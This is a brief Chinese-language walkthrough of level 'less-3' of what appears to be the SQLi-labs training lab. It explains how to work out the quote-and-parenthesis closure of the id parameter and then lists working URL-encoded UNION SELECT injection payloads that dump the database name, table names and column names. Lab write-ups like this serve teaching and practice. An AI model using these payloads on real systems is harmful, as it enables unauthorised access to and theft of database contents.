首先来了解语句构造方法:
我们输入id=1可以看到未报错,输入id=1’报错,输入id=1’’未报错。
再对比下之前我们在less-1中的报错信息(如下图),可以看到,在less-3中报错信息中“1”后面多了个)
我们查看一下源代码,发现是多了一个括号的,我们此时在构造id=1')闭合前面的括号和引号
因此我们输入id=1)或者id=1‘’发现都未报错(如下图显示),因此我们可以根据此特性构造闭合语句
爆数据库名id=-1%27)%20%20union%20select%201,2,database()--+
爆表名:
id=-1%27)%20%20union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),version()--+
爆字段名:
id=-1%27)%20%20union%20select%201,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27emails%27%20limit%200,1),version()--+